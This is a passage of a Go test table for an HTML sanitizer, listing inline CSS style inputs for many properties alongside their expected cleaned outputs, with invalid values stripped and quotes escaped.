2195			in: `<div style="border-bottom: 4px dotted blue;"></div>` +
2196				`<div style="border-bottom: initial"></div>`,
2197			expected: `<div style="border-bottom: 4px dotted blue"></div>` +
2198				`<div style="border-bottom: initial"></div>`,
2199		},
2200		{
2201			in:       `<div style="border-bottom-color: blue;"></div>`,
2202			expected: `<div style="border-bottom-color: blue"></div>`,
2203		},
2204		{
2205			in: `<div style="border-bottom-left-radius: 4px;"></div>` +
2206				`<div style="border-bottom-left-radius: initial"></div>`,
2207			expected: `<div style="border-bottom-left-radius: 4px"></div>` +
2208				`<div style="border-bottom-left-radius: initial"></div>`,
2209		},
2210		{
2211			in: `<div style="border-bottom-right-radius: 40px 4px;">` +
2212				`</div>`,
2213			expected: `<div style="border-bottom-right-radius: 40px 4px">` +
2214				`</div>`,
2215		},
2216		{
2217			in:       `<div style="border-bottom-style: dotted;"></div>`,
2218			expected: `<div style="border-bottom-style: dotted"></div>`,
2219		},
2220		{
2221			in:       `<div style="border-bottom-width: thin;"></div>`,
2222			expected: `<div style="border-bottom-width: thin"></div>`,
2223		},
2224		{
2225			in:       `<div style="border-collapse: separate;"></div>`,
2226			expected: `<div style="border-collapse: separate"></div>`,
2227		},
2228		{
2229			in:       `<div style="border-color: coral;"></div>`,
2230			expected: `<div style="border-color: coral"></div>`,
2231		},
2232		{
2233			in: `<div style="border-image: url(https://border.png) 30 ` +
2234				`round;"></div><div style="border-image: initial;"></div>`,
2235			expected: `<div style="border-image: url(https://border.png) 30 ` +
2236				`round"></div><div style="border-image: initial"></div>`,
2237		},
2238		{
2239			in:       `<div style="border-image-outset: 10px;"></div>`,
2240			expected: `<div style="border-image-outset: 10px"></div>`,
2241		},
2242		{
2243			in:       `<div style="border-image-repeat: repeat;"></div>`,
2244			expected: `<div style="border-image-repeat: repeat"></div>`,
2245		},
2246		{
2247			in: `<div style="border-image-slice: 30%;"></div><div ` +
2248				`style="border-image-slice: fill;"></div><div style="` +
2249				`border-image-slice: 3% 3% 3% 3% 3%;"></div>`,
2250			expected: `<div style="border-image-slice: 30%"></div><div style` +
2251				`="border-image-slice: fill"></div><div></div>`,
2252		},
2253		{
2254			in: `<div style="border-image-source: ` +
2255				`url(https://border.png);"></div>`,
2256			expected: `<div style="border-image-source: ` +
2257				`url(https://border.png)"></div>`,
2258		},
2259		{
2260			in:       `<div style="border-image-width: 10px;"></div>`,
2261			expected: `<div style="border-image-width: 10px"></div>`,
2262		},
2263		{
2264			in:       `<div style="border-left: 4px dotted blue;"></div>`,
2265			expected: `<div style="border-left: 4px dotted blue"></div>`,
2266		},
2267		{
2268			in:       `<div style="border-left-color: blue;"></div>`,
2269			expected: `<div style="border-left-color: blue"></div>`,
2270		},
2271		{
2272			in:       `<div style="border-left-style: dotted;"></div>`,
2273			expected: `<div style="border-left-style: dotted"></div>`,
2274		},
2275		{
2276			in:       `<div style="border-left-width: thin;"></div>`,
2277			expected: `<div style="border-left-width: thin"></div>`,
2278		},
2279		{
2280			in: `<div style="border-radius: 25px;"></div><div style=` +
2281				`"border-radius: initial;"></div><div style="border-radius:` +
2282				` 1px 1px 1px 1px 1px;"></div>`,
2283			expected: `<div style="border-radius: 25px"></div><div style=` +
2284				`"border-radius: initial"></div><div></div>`,
2285		},
2286		{
2287			in:       `<div style="border-left: 4px dotted blue;"></div>`,
2288			expected: `<div style="border-left: 4px dotted blue"></div>`,
2289		},
2290		{
2291			in:       `<div style="border-right-color: blue;"></div>`,
2292			expected: `<div style="border-right-color: blue"></div>`,
2293		},
2294		{
2295			in:       `<div style="border-right-style: dotted;"></div>`,
2296			expected: `<div style="border-right-style: dotted"></div>`,
2297		},
2298		{
2299			in:       `<div style="border-right-width: thin;"></div>`,
2300			expected: `<div style="border-right-width: thin"></div>`,
2301		},
2302		{
2303			in:       `<div style="border-spacing: 15px;"></div>`,
2304			expected: `<div style="border-spacing: 15px"></div>`,
2305		},
2306		{
2307			in: `<div style="border-style: dotted;"></div><div style="` +
2308				`border-style: initial;"></div><div style="border-style: ` +
2309				`dotted dotted dotted dotted dotted;"></div>`,
2310			expected: `<div style="border-style: dotted"></div><div style=` +
2311				`"border-style: initial"></div><div></div>`,
2312		},
2313		{
2314			in:       `<div style="border-top: 4px dotted blue;"></div>`,
2315			expected: `<div style="border-top: 4px dotted blue"></div>`,
2316		},
2317		{
2318			in:       `<div style="border-top-color: blue;"></div>`,
2319			expected: `<div style="border-top-color: blue"></div>`,
2320		},
2321		{
2322			in:       `<div style="border-top-left-radius: 4px;"></div>`,
2323			expected: `<div style="border-top-left-radius: 4px"></div>`,
2324		},
2325		{
2326			in:       `<div style="border-top-right-radius: 40px 4px;"></div>`,
2327			expected: `<div style="border-top-right-radius: 40px 4px"></div>`,
2328		},
2329		{
2330			in:       `<div style="border-top-style: dotted;"></div>`,
2331			expected: `<div style="border-top-style: dotted"></div>`,
2332		},
2333		{
2334			in:       `<div style="border-top-width: thin;"></div>`,
2335			expected: `<div style="border-top-width: thin"></div>`,
2336		},
2337		{
2338			in: `<div style="border-width: thin;"></div><div style="` +
2339				`border-width: initial;"></div><div style="border-width: ` +
2340				`thin thin thin thin thin;"></div>`,
2341			expected: `<div style="border-width: thin"></div><div style="` +
2342				`border-width: initial"></div><div></div>`,
2343		},
2344		{
2345			in: `<div style="bottom: 10px;"></div><div style="bottom:` +
2346				` auto;"></div>`,
2347			expected: `<div style="bottom: 10px"></div><div style="bottom:` +
2348				` auto"></div>`,
2349		},
2350		{
2351			in:       `<div style="box-decoration-break: slice;"></div>`,
2352			expected: `<div style="box-decoration-break: slice"></div>`,
2353		},
2354		{
2355			in: `<div style="box-shadow: 10px 10px #888888;"></div>` +
2356				`<div style="box-shadow: aa;"></div><div style="box-shadow: ` +
2357				`10px aa;"></div><div style="box-shadow: 10px;"></div><div ` +
2358				`style="box-shadow: 10px 10px aa;"></div>`,
2359			expected: `<div style="box-shadow: 10px 10px #888888"></div>` +
2360				`<div></div><div></div><div></div><div></div>`,
2361		},
2362		{
2363			in:       `<div style="box-sizing: border-box;"></div>`,
2364			expected: `<div style="box-sizing: border-box"></div>`,
2365		},
2366		{
2367			in:       `<div style="break-after: column;"></div>`,
2368			expected: `<div style="break-after: column"></div>`,
2369		},
2370		{
2371			in:       `<div style="break-before: column;"></div>`,
2372			expected: `<div style="break-before: column"></div>`,
2373		},
2374		{
2375			in:       `<div style="break-inside: avoid-column;"></div>`,
2376			expected: `<div style="break-inside: avoid-column"></div>`,
2377		},
2378		{
2379			in:       `<div style="caption-side: bottom;"></div>`,
2380			expected: `<div style="caption-side: bottom"></div>`,
2381		},
2382		{
2383			in: `<div style="caret-color: red;"></div><div style=` +
2384				`"caret-color: rgb(2,2,2);"></div><div style="caret-color:` +
2385				` rgba(2,2,2,0.5);"></div><div style="caret-color: ` +
2386				`hsl(2,2%,2%);"></div><div style="caret-color: ` +
2387				`hsla(2,2%,2%,0.5);"></div>`,
2388			expected: `<div style="caret-color: red"></div><div style=` +
2389				`"caret-color: rgb(2,2,2)"></div><div style="caret-color: ` +
2390				`rgba(2,2,2,0.5)"></div><div style="caret-color: ` +
2391				`hsl(2,2%,2%)"></div><div style="caret-color: ` +
2392				`hsla(2,2%,2%,0.5)"></div>`,
2393		},
2394		{
2395			in:       `<div style="clear: both;"></div>`,
2396			expected: `<div style="clear: both"></div>`,
2397		},
2398		{
2399			in: `<div style="clip: rect(0px,60px,200px,0px);"></div>` +
2400				`<div style="clip: auto;"></div>`,
2401			expected: `<div style="clip: rect(0px,60px,200px,0px)"></div>` +
2402				`<div style="clip: auto"></div>`,
2403		},
2404		{
2405			in: `<div style="color: red;"></div><div style="color: ` +
2406				`rgb(2,2,2);"></div><div style="color: rgba(2,2,2,0.5);">` +
2407				`</div><div style="color: hsl(2,2%,2%);"></div><div style="` +
2408				`color: hsla(2,2%,2%,0.5);"></div>`,
2409			expected: `<div style="color: red"></div><div style="color: ` +
2410				`rgb(2,2,2)"></div><div style="color: rgba(2,2,2,0.5)">` +
2411				`</div><div style="color: hsl(2,2%,2%)"></div><div style="` +
2412				`color: hsla(2,2%,2%,0.5)"></div>`,
2413		},
2414		{
2415			in:       `<div style="clear: both;"></div>`,
2416			expected: `<div style="clear: both"></div>`,
2417		},
2418		{
2419			in: `<div style="column-count: 3;"></div><div style="` +
2420				`column-count: auto;"></div>`,
2421			expected: `<div style="column-count: 3"></div><div style="` +
2422				`column-count: auto"></div>`,
2423		},
2424		{
2425			in:       `<div style="column-fill: balance;"></div>`,
2426			expected: `<div style="column-fill: balance"></div>`,
2427		},
2428		{
2429			in: `<div style="column-gap: 40px;"></div><div style="` +
2430				`column-gap: normal;"></div>`,
2431			expected: `<div style="column-gap: 40px"></div><div style="` +
2432				`column-gap: normal"></div>`,
2433		},
2434		{
2435			in:       `<div style="column-rule: 4px double #ff00ff;"></div>`,
2436			expected: `<div style="column-rule: 4px double #ff00ff"></div>`,
2437		},
2438		{
2439			in:       `<div style="column-rule-color: #ff00ff;"></div>`,
2440			expected: `<div style="column-rule-color: #ff00ff"></div>`,
2441		},
2442		{
2443			in:       `<div style="column-rule: red;"></div>`,
2444			expected: `<div style="column-rule: red"></div>`,
2445		},
2446		{
2447			in:       `<div style="column-rule-width: 4px;"></div>`,
2448			expected: `<div style="column-rule-width: 4px"></div>`,
2449		},
2450		{
2451			in:       `<div style="column-span: all;"></div>`,
2452			expected: `<div style="column-span: all"></div>`,
2453		},
2454		{
2455			in: `<div style="column-width: 4px;"></div><div style="` +
2456				`column-width: auto;"></div>`,
2457			expected: `<div style="column-width: 4px"></div><div style="` +
2458				`column-width: auto"></div>`,
2459		},
2460		{
2461			in: `<div style="columns: 4px 3"></div><div style="` +
2462				`columns: auto"></div>`,
2463			expected: `<div style="columns: 4px 3"></div><div style="` +
2464				`columns: auto"></div>`,
2465		},
2466		{
2467			in:       `<div style="cursor: alias"></div>`,
2468			expected: `<div style="cursor: alias"></div>`,
2469		},
2470		{
2471			in:       `<div style="direction: rtl"></div>`,
2472			expected: `<div style="direction: rtl"></div>`,
2473		},
2474		{
2475			in:       `<div style="display: block"></div>`,
2476			expected: `<div style="display: block"></div>`,
2477		},
2478		{
2479			in:       `<div style="empty-cells: hide"></div>`,
2480			expected: `<div style="empty-cells: hide"></div>`,
2481		},
2482		{
2483			in: `<div style="filter: grayscale(100%)"></div><div style` +
2484				`="filter: sepia(100%)"></div>`,
2485			expected: `<div style="filter: grayscale(100%)"></div><div style` +
2486				`="filter: sepia(100%)"></div>`,
2487		},
2488		{
2489			in: `<div style="flex: 1"></div><div style="flex: auto">` +
2490				`</div>`,
2491			expected: `<div style="flex: 1"></div><div style="flex: auto">` +
2492				`</div>`,
2493		},
2494		{
2495			in: `<div style="flex-basis: 10px"></div><div style="` +
2496				`flex-basis: auto"></div>`,
2497			expected: `<div style="flex-basis: 10px"></div><div style="` +
2498				`flex-basis: auto"></div>`,
2499		},
2500		{
2501			in:       `<div style="flex-direction: row-reverse"></div>`,
2502			expected: `<div style="flex-direction: row-reverse"></div>`,
2503		},
2504		{
2505			in: `<div style="flex-flow: row-reverse wrap"></div><div ` +
2506				`style="flex-flow: initial"></div>`,
2507			expected: `<div style="flex-flow: row-reverse wrap"></div><div ` +
2508				`style="flex-flow: initial"></div>`,
2509		},
2510		{
2511			in: `<div style="flex-grow: 1"></div><div style="flex-grow` +
2512				`: initial"></div>`,
2513			expected: `<div style="flex-grow: 1"></div><div style="flex-grow` +
2514				`: initial"></div>`,
2515		},
2516		{
2517			in:       `<div style="flex-shrink: 3"></div>`,
2518			expected: `<div style="flex-shrink: 3"></div>`,
2519		},
2520		{
2521			in:       `<div style="flex-wrap: wrap"></div>`,
2522			expected: `<div style="flex-wrap: wrap"></div>`,
2523		},
2524		{
2525			in:       `<div style="float: right"></div>`,
2526			expected: `<div style="float: right"></div>`,
2527		},
2528		{
2529			in: `<div style="font: italic bold 12px/30px Georgia, serif` +
2530				`"></div><div style="font: icon"></div>`,
2531			expected: `<div style="font: italic bold 12px/30px Georgia, serif` +
2532				`"></div><div style="font: icon"></div>`,
2533		},
2534		{
2535			in: `<div style="font-family: 'Times New Roman', Times, ` +
2536				`serif"></div><span style="font-family: comic sans ms, ` +
2537				`cursive, sans-serif;">aaaaaa</span></span>`,
2538			expected: `<div style="font-family: &#39;Times New Roman&#39;,` +
2539				` Times, serif"></div><span style="font-family: comic sans` +
2540				` ms, cursive, sans-serif">aaaaaa</span></span>`,
2541		},
2542		{
2543			in:       `<div style="font-kerning: normal"></div>`,
2544			expected: `<div style="font-kerning: normal"></div>`,
2545		},
2546		{
2547			in:       `<div style="font-language-override: normal"></div>`,
2548			expected: `<div style="font-language-override: normal"></div>`,
2549		},
2550		{
2551			in:       `<div style="font-size: large"></div>`,
2552			expected: `<div style="font-size: large"></div>`,
2553		},
2554		{
2555			in: `<div style="font-size-adjust: 0.58"></div><div style="` +
2556				`font-size-adjust: auto"></div>`,
2557			expected: `<div style="font-size-adjust: 0.58"></div><div style="` +
2558				`font-size-adjust: auto"></div>`,
2559		},
2560		{
2561			in:       `<div style="font-stretch: expanded"></div>`,
2562			expected: `<div style="font-stretch: expanded"></div>`,
2563		},
2564		{
2565			in:       `<div style="font-style: italic"></div>`,
2566			expected: `<div style="font-style: italic"></div>`,
2567		},
2568		{
2569			in:       `<div style="font-synthesis: style"></div>`,
2570			expected: `<div style="font-synthesis: style"></div>`,
2571		},
2572		{
2573			in:       `<div style="font-variant: small-caps"></div>`,
2574			expected: `<div style="font-variant: small-caps"></div>`,
2575		},
2576		{
2577			in:       `<div style="font-variant-caps: small-caps"></div>`,
2578			expected: `<div style="font-variant-caps: small-caps"></div>`,
2579		},
2580		{
2581			in:       `<div style="font-variant-position: sub"></div>`,
2582			expected: `<div style="font-variant-position: sub"></div>`,
2583		},
2584		{
2585			in:       `<div style="font-weight: normal"></div>`,
2586			expected: `<div style="font-weight: normal"></div>`,
2587		},
2588		{
2589			in: `<div style="grid: 150px / auto auto auto;"></div><div ` +
2590				`style="grid: none;"></div>`,
2591			expected: `<div style="grid: 150px / auto auto auto"></div><div ` +
2592				`style="grid: none"></div>`,
2593		},
2594		{
2595			in: `<div style="grid-area: 2 / 1 / span 2 / span 3;">` +
2596				`</div>`,
2597			expected: `<div style="grid-area: 2 / 1 / span 2 / span 3">` +
2598				`</div>`,
2599		},
2600		{
2601			in: `<div style="grid-auto-columns: 150px;"></div>` +
2602				`<div style="grid-auto-columns: auto;"></div>`,
2603			expected: `<div style="grid-auto-columns: 150px"></div>` +
2604				`<div style="grid-auto-columns: auto"></div>`,
2605		},
2606		{
2607			in:       `<div style="grid-auto-flow: column;"></div>`,
2608			expected: `<div style="grid-auto-flow: column"></div>`,
2609		},
2610		{
2611			in:       `<div style="grid-auto-rows: 150px;"></div>`,
2612			expected: `<div style="grid-auto-rows: 150px"></div>`,
2613		},
2614		{
2615			in:       `<div style="grid-column: 1 / span 2;"></div>`,
2616			expected: `<div style="grid-column: 1 / span 2"></div>`,
2617		},
2618		{
2619			in: `<div style="grid-column-end: span 2;"></div>` +
2620				`<div style="grid-column-end: auto;"></div>`,
2621			expected: `<div style="grid-column-end: span 2"></div>` +
2622				`<div style="grid-column-end: auto"></div>`,
2623		},
2624		{
2625			in:       `<div style="grid-column-gap: 10px;"></div>`,
2626			expected: `<div style="grid-column-gap: 10px"></div>`,
2627		},
2628		{
2629			in:       `<div style="grid-column-start: 1;"></div>`,
2630			expected: `<div style="grid-column-start: 1"></div>`,
2631		},
2632		{
2633			in: `<div style="grid-gap: 1px;"></div><div style=` +
2634				`"grid-gap: 1px 1px 1px;"></div>`,
2635			expected: `<div style="grid-gap: 1px"></div><div></div>`,
2636		},
2637		{
2638			in:       `<div style="grid-row: 1 / span 2;"></div>`,
2639			expected: `<div style="grid-row: 1 / span 2"></div>`,
2640		},
2641		{
2642			in:       `<div style="grid-row-end: span 2;"></div>`,
2643			expected: `<div style="grid-row-end: span 2"></div>`,
2644		},
2645		{
2646			in:       `<div style="grid-row-gap: 10px;"></div>`,
2647			expected: `<div style="grid-row-gap: 10px"></div>`,
2648		},
2649		{
2650			in:       `<div style="grid-row-start: 1;"></div>`,
2651			expected: `<div style="grid-row-start: 1"></div>`,
2652		},
2653		{
2654			in: `<div style="grid-template: 150px / auto auto auto;">` +
2655				`</div><div style="grid-template: none"></div><div style="` +
2656				`grid-template: a / a / a"></div>`,
2657			expected: `<div style="grid-template: 150px / auto auto auto">` +
2658				`</div><div style="grid-template: none"></div><div></div>`,
2659		},
2660		{
2661			in: `<div style="grid-template-areas: none;"></div><div ` +
2662				`style="grid-template-areas: 'Billy'"></div>`,
2663			expected: `<div style="grid-template-areas: none"></div>` +
2664				`<div style="grid-template-areas: &#39;Billy&#39;"></div>`,
2665		},
2666		{
2667			in: `<div style="grid-template-columns: auto auto auto` +
2668				` auto auto;"></div>`,
2669			expected: `<div style="grid-template-columns: auto auto` +
2670				` auto auto auto"></div>`,
2671		},
2672		{
2673			in: `<div style="grid-template-rows: 150px 150px">` +
2674				`</div><div style="grid-template-rows: aaaa aaaaa"></div>`,
2675			expected: `<div style="grid-template-rows: 150px 150px">` +
2676				`</div><div></div>`,
2677		},
2678		{
2679			in:       `<div style="hanging-punctuation: first;"></div>`,
2680			expected: `<div style="hanging-punctuation: first"></div>`,
2681		},
2682		{
2683			in: `<div style="height: 50px;"></div><div style="height: ` +
2684				`auto;"></div>`,
2685			expected: `<div style="height: 50px"></div><div style="height: ` +
2686				`auto"></div>`,
2687		},
2688		{
2689			in:       `<div style="hyphens: manual;"></div>`,
2690			expected: `<div style="hyphens: manual"></div>`,
2691		},
2692		{
2693			in:       `<div style="isolation: isolate;"></div>`,
2694			expected: `<div style="isolation: isolate"></div>`,
2695		},
2696		{
2697			in:       `<div style="image-rendering: smooth;"></div>`,
2698			expected: `<div style="image-rendering: smooth"></div>`,
2699		},
2700		{
2701			in:       `<div style="justify-content: center;"></div>`,
2702			expected: `<div style="justify-content: center"></div>`,
2703		},
2704		{
2705			in:       `<div style="left: 150px;"></div>`,
2706			expected: `<div style="left: 150px"></div>`,
2707		},
2708		{
2709			in: `<div style="letter-spacing: -3px;"></div><div style` +
2710				`="letter-spacing: normal;"></div>`,
2711			expected: `<div style="letter-spacing: -3px"></div><div style` +
2712				`="letter-spacing: normal"></div>`,
2713		},
2714		{
2715			in:       `<div style="line-break: auto"></div>`,
2716			expected: `<div style="line-break: auto"></div>`,
2717		},
2718		{
2719			in: `<div style="line-height: 1.6;"></div><div style=` +
2720				`"line-height: normal;"></div>`,
2721			expected: `<div style="line-height: 1.6"></div><div style=` +
2722				`"line-height: normal"></div>`,
2723		},
2724		{
2725			in: `<div style="list-style: square inside ` +
2726				`url(http://sqpurple.gif);"></div><div style="list-style: ` +
2727				`initial"></div>`,
2728			expected: `<div style="list-style: square inside ` +
2729				`url(http://sqpurple.gif)"></div><div style="list-style: ` +
2730				`initial"></div>`,
2731		},
2732		{
2733			in: `<div style="list-style-image: ` +
2734				`url(http://sqpurple.gif);"></div>`,
2735			expected: `<div style="list-style-image: ` +
2736				`url(http://sqpurple.gif)"></div>`,
2737		},
2738		{
2739			in:       `<div style="list-style-position: inside;"></div>`,
2740			expected: `<div style="list-style-position: inside"></div>`,
2741		},
2742		{
2743			in:       `<div style="list-style-type: square;"></div>`,
2744			expected: `<div style="list-style-type: square"></div>`,
2745		},
2746		{
2747			in: `<div style="margin: 150px;"></div><div style="margin:` +
2748				` auto;"></div>`,
2749			expected: `<div style="margin: 150px"></div><div style="margin:` +
2750				` auto"></div>`,
2751		},
2752		{
2753			in: `<div style="margin-bottom: 150px;"></div><div ` +
2754				`style="margin-bottom: auto;"></div>`,
2755			expected: `<div style="margin-bottom: 150px"></div><div ` +
2756				`style="margin-bottom: auto"></div>`,
2757		},
2758		{
2759			in:       `<div style="margin-left: 150px;"></div>`,
2760			expected: `<div style="margin-left: 150px"></div>`,
2761		},
2762		{
2763			in:       `<div style="margin-right: 150px;"></div>`,
2764			expected: `<div style="margin-right: 150px"></div>`,
2765		},
2766		{
2767			in:       `<div style="margin-top: 150px;"></div>`,
2768			expected: `<div style="margin-top: 150px"></div>`,
2769		},
2770		{
2771			in: `<div style="max-height: 150px;"></div><div style=` +
2772				`"max-height: initial;"></div>`,
2773			expected: `<div style="max-height: 150px"></div><div style=` +
2774				`"max-height: initial"></div>`,
2775		},
2776		{
2777			in:       `<div style="max-width: 150px;"></div>`,
2778			expected: `<div style="max-width: 150px"></div>`,
2779		},
2780		{
2781			in: `<div style="min-height: 150px;"></div><div style=` +
2782				`"min-height: initial;"></div>`,
2783			expected: `<div style="min-height: 150px"></div><div style=` +
2784				`"min-height: initial"></div>`,
2785		},
2786		{
2787			in:       `<div style="min-width: 150px;"></div>`,
2788			expected: `<div style="min-width: 150px"></div>`,
2789		},
2790		{
2791			in:       `<div style="mix-blend-mode: darken;"></div>`,
2792			expected: `<div style="mix-blend-mode: darken"></div>`,
2793		},
2794		{
2795			in:       `<div style="object-fit: cover;"></div>`,
2796			expected: `<div style="object-fit: cover"></div>`,
2797		},
2798		{
2799			in: `<div style="object-position: 5px 10%;"></div><div ` +
2800				`style="object-position: initial"></div><div style="` +
2801				`object-position: 5px 10% 5px;"></div>`,
2802			expected: `<div style="object-position: 5px 10%"></div><div ` +
2803				`style="object-position: initial"></div><div></div>`,
2804		},
2805		{
2806			in: `<div style="opacity: 0.5;"></div><div style="opacity:` +
2807				` initial"></div>`,
2808			expected: `<div style="opacity: 0.5"></div><div style="opacity:` +
2809				` initial"></div>`,
2810		},
2811		{
2812			in: `<div style="order: 2;"></div><div style="order: ` +
2813				`initial"></div>`,
2814			expected: `<div style="order: 2"></div><div style="order: ` +
2815				`initial"></div>`,
2816		},
2817		{
2818			in: `<div style="outline: 2px dashed blue;"></div><div ` +
2819				`style="outline: initial"></div>`,
2820			expected: `<div style="outline: 2px dashed blue"></div><div ` +
2821				`style="outline: initial"></div>`,
2822		},
2823		{
2824			in:       `<div style="outline-color: blue;"></div>`,
2825			expected: `<div style="outline-color: blue"></div>`,
2826		},
2827		{
2828			in: `<div style="outline-offset: 2px;"></div><div ` +
2829				`style="outline-offset: initial;"></div>`,
2830			expected: `<div style="outline-offset: 2px"></div><div ` +
2831				`style="outline-offset: initial"></div>`,
2832		},
2833		{
2834			in:       `<div style="outline-style: dashed;"></div>`,
2835			expected: `<div style="outline-style: dashed"></div>`,
2836		},
2837		{
2838			in:       `<div style="outline-width: thick;"></div>`,
2839			expected: `<div style="outline-width: thick"></div>`,
2840		},
2841		{
2842			in:       `<div style="overflow: scroll;"></div>`,
2843			expected: `<div style="overflow: scroll"></div>`,
2844		},
2845		{
2846			in:       `<div style="overflow-x: scroll;"></div>`,
2847			expected: `<div style="overflow-x: scroll"></div>`,
2848		},
2849		{
2850			in:       `<div style="overflow-y: scroll;"></div>`,
2851			expected: `<div style="overflow-y: scroll"></div>`,
2852		},
2853		{
2854			in:       `<div style="overflow-wrap: anywhere;"></div>`,
2855			expected: `<div style="overflow-wrap: anywhere"></div>`,
2856		},
2857		{
2858			in:       `<div style="orphans: 2;"></div>`,
2859			expected: `<div style="orphans: 2"></div>`,
2860		},
2861		{
2862			in:       `<div style="padding: 55px;"></div>`,
2863			expected: `<div style="padding: 55px"></div>`,
2864		},
2865		{
2866			in: `<div style="padding-bottom: 55px;"></div><div style` +
2867				`="padding-bottom: initial;"></div>`,
2868			expected: `<div style="padding-bottom: 55px"></div><div style=` +
2869				`"padding-bottom: initial"></div>`,
2870		},
2871		{
2872			in:       `<div style="padding-left: 55px;"></div>`,
2873			expected: `<div style="padding-left: 55px"></div>`,
2874		},
2875		{
2876			in:       `<div style="padding-right: 55px;"></div>`,
2877			expected: `<div style="padding-right: 55px"></div>`,
2878		},
2879		{
2880			in:       `<div style="padding-top: 55px;"></div>`,
2881			expected: `<div style="padding-top: 55px"></div>`,
2882		},
2883		{
2884			in:       `<div style="page-break-after: always;"></div>`,
2885			expected: `<div style="page-break-after: always"></div>`,
2886		},
2887		{
2888			in:       `<div style="page-break-before: always;"></div>`,
2889			expected: `<div style="page-break-before: always"></div>`,
2890		},
2891		{
2892			in:       `<div style="page-break-inside: avoid;"></div>`,
2893			expected: `<div style="page-break-inside: avoid"></div>`,
2894		},
2895		{
2896			in: `<div style="perspective: 100px;"></div><div style=` +
2897				`"perspective: none;"></div>`,
2898			expected: `<div style="perspective: 100px"></div><div style=` +
2899				`"perspective: none"></div>`,
2900		},
2901		{
2902			in:       `<div style="perspective-origin: left;"></div>`,
2903			expected: `<div style="perspective-origin: left"></div>`,
2904		},
2905		{
2906			in:       `<div style="pointer-events: auto;"></div>`,
2907			expected: `<div style="pointer-events: auto"></div>`,
2908		},
2909		{
2910			in:       `<div style="position: absolute;"></div>`,
2911			expected: `<div style="position: absolute"></div>`,
2912		},
2913		{
2914			in:       `<div style="quotes: '‹' '›';"></div>`,
2915			expected: `<div style="quotes: &#39;‹&#39; &#39;›&#39;"></div>`,
2916		},
2917		{
2918			in:       `<div style="resize: both;"></div>`,
2919			expected: `<div style="resize: both"></div>`,
2920		},
2921		{
2922			in:       `<div style="right: 10px;"></div>`,
2923			expected: `<div style="right: 10px"></div>`,
2924		},
2925		{
2926			in:       `<div style="scroll-behavior: smooth;"></div>`,
2927			expected: `<div style="scroll-behavior: smooth"></div>`,
2928		},
2929		{
2930			in: `<div style="tab-size: 16;"></div><div style="tab-size:` +
2931				` initial;"></div>`,
2932			expected: `<div style="tab-size: 16"></div><div style="tab-size:` +
2933				` initial"></div>`,
2934		},
2935		{
2936			in:       `<div style="table-layout: fixed;"></div>`,
2937			expected: `<div style="table-layout: fixed"></div>`,
2938		},
2939		{
2940			in:       `<div style="text-align: justify;"></div>`,
2941			expected: `<div style="text-align: justify"></div>`,
2942		},
2943		{
2944			in:       `<div style="text-align-last: justify;"></div>`,
2945			expected: `<div style="text-align-last: justify"></div>`,
2946		},
2947		{
2948			in: `<div style="text-combine-upright: none;"></div><div` +
2949				` style="text-combine-upright: digits 2"></div>`,
2950			expected: `<div style="text-combine-upright: none"></div><div ` +
2951				`style="text-combine-upright: digits 2"></div>`,
2952		},
2953		{
2954			in: `<div style="text-decoration: underline underline;">` +
2955				`</div><div style="text-decoration: initial"></div>`,
2956			expected: `<div style="text-decoration: underline underline">` +
2957				`</div><div style="text-decoration: initial"></div>`,
2958		},
2959		{
2960			in:       `<div style="text-decoration-color: red;"></div>`,
2961			expected: `<div style="text-decoration-color: red"></div>`,
2962		},
2963		{
2964			in: `<div style="text-decoration-line: underline ` +
2965				`underline;"></div>`,
2966			expected: `<div style="text-decoration-line: underline ` +
2967				`underline"></div>`,
2968		},
2969		{
2970			in:       `<div style="text-decoration-style: solid;"></div>`,
2971			expected: `<div style="text-decoration-style: solid"></div>`,
2972		},
2973		{
2974			in: `<div style="text-indent: 30%;"></div><div style=` +
2975				`"text-indent: initial"></div>`,
2976			expected: `<div style="text-indent: 30%"></div><div style=` +
2977				`"text-indent: initial"></div>`,
2978		},
2979		{
2980			in:       `<div style="text-orientation: mixed"></div>`,
2981			expected: `<div style="text-orientation: mixed"></div>`,
2982		},
2983		{
2984			in:       `<div style="text-justify: inter-word;"></div>`,
2985			expected: `<div style="text-justify: inter-word"></div>`,
2986		},
2987		{
2988			in: `<div style="text-overflow: ellipsis;"></div><div ` +
2989				`style="text-overflow: 'something'"></div>`,
2990			expected: `<div style="text-overflow: ellipsis"></div><div ` +
2991				`style="text-overflow: &#39;something&#39;"></div>`,
2992		},
2993		{
2994			in:       `<div style="text-shadow: 2px 2px #ff0000;"></div>`,
2995			expected: `<div style="text-shadow: 2px 2px #ff0000"></div>`,
2996		},
2997		{
2998			in:       `<div style="text-transform: uppercase;"></div>`,
2999			expected: `<div style="text-transform: uppercase"></div>`,
3000		},
3001		{
3002			in:       `<div style="top: 150px;"></div>`,
3003			expected: `<div style="top: 150px"></div>`,
3004		},
3005		{
3006			in: `<div style="transform: scaleY(1.5);"></div><div ` +
3007				`style="transform: perspective(20px);"></div>`,
3008			expected: `<div style="transform: scaleY(1.5)"></div><div ` +
3009				`style="transform: perspective(20px)"></div>`,
3010		},
3011		{
3012			in:       `<div style="transform-origin: 40% 40%;"></div>`,
3013			expected: `<div style="transform-origin: 40% 40%"></div>`,
3014		},
3015		{
3016			in:       `<div style="transform-style: preserve-3d;"></div>`,
3017			expected: `<div style="transform-style: preserve-3d"></div>`,
3018		},
3019		{
3020			in:       `<div style="transition: width 2s;"></div>`,
3021			expected: `<div style="transition: width 2s"></div>`,
3022		},
3023		{
3024			in: `<div style="transition-delay: 2s;"></div><div ` +
3025				`style="transition-delay: initial;"></div>`,
3026			expected: `<div style="transition-delay: 2s"></div><div ` +
3027				`style="transition-delay: initial"></div>`,
3028		},
3029		{
3030			in: `<div style="transition-duration: 2s;"></div><div ` +
3031				`style="transition-duration: initial;"></div>`,
3032			expected: `<div style="transition-duration: 2s"></div><div ` +
3033				`style="transition-duration: initial"></div>`,
3034		},
3035		{
3036			in: `<div style="transition-property: width;"></div><div ` +
3037				`style="transition-property: initial;"></div>`,
3038			expected: `<div style="transition-property: width"></div><div ` +
3039				`style="transition-property: initial"></div>`,
3040		},
3041		{
3042			in: `<div style="transition-timing-function: linear;">` +
3043				`</div>`,
3044			expected: `<div style="transition-timing-function: linear">` +
3045				`</div>`,
3046		},
3047		{
3048			in:       `<div style="unicode-bidi: bidi-override;"></div>`,
3049			expected: `<div style="unicode-bidi: bidi-override"></div>`,
3050		},
3051		{
3052			in:       `<div style="user-select: none;"></div>`,
3053			expected: `<div style="user-select: none"></div>`,
3054		},
3055		{
3056			in:       `<div style="vertical-align: text-bottom;"></div>`,
3057			expected: `<div style="vertical-align: text-bottom"></div>`,
3058		},
